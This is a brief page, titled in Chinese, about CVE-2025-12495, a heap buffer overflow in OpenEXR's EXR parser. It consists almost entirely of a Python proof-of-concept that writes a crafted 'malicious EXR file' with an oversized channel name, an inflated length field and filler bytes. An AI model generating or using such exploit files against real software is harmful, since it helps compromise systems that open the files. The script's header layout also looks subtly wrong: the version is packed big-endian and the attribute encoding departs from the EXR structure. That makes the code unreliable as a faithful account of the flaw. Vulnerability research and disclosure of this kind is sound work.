CVE-2025-12495: OpenEXR EXR文件解析堆缓冲区溢出远程代码执行漏洞

# CVE-2025-12495 PoC - Malicious EXR File Generator # Target: Academy Software Foundation OpenEXR # Vulnerability: Heap-based Buffer Overflow in EXR File Parsing import struct import os def create_malicious_exr(output_path): """ Generate a malicious EXR file to trigger heap buffer overflow. This PoC demonstrates the vulnerability in OpenEXR's EXR parsing. """ # EXR magic number (big-endian) exr_magic = b'\x76\x2f\x31\x01' # Version field - standard EXR version header version = struct.pack('>I', 2) # version number # Malicious channel information with oversized data length # This triggers the buffer overflow when parsed channel_name = b'A' * 1024 # Oversized channel name # Construct malformed chunk data # The parser will attempt to copy this into undersized buffer malicious_data = b'\x00' * 2048 + b'\x41' * 512 # Complete EXR header with malicious attributes header = exr_magic + version header += b'channels' + b'\x00' # Channel attribute name header += struct.pack('B', 1) # Type indicator header += struct.pack('>Q', len(channel_name)) # Oversized length header += channel_name # Write the malicious EXR file with open(output_path, 'wb') as f: f.write(header) f.write(malicious_data) print(f"[+] Malicious EXR file created: {output_path}") print(f"[+] File size: {os.path.getsize(output_path)} bytes") print("[*] This file triggers heap buffer overflow in OpenEXR parser") if __name__ == '__main__': import sys output = sys.argv[1] if len(sys.argv) > 1 else 'CVE-2025-12495.malicious.exr' create_malicious_exr(output)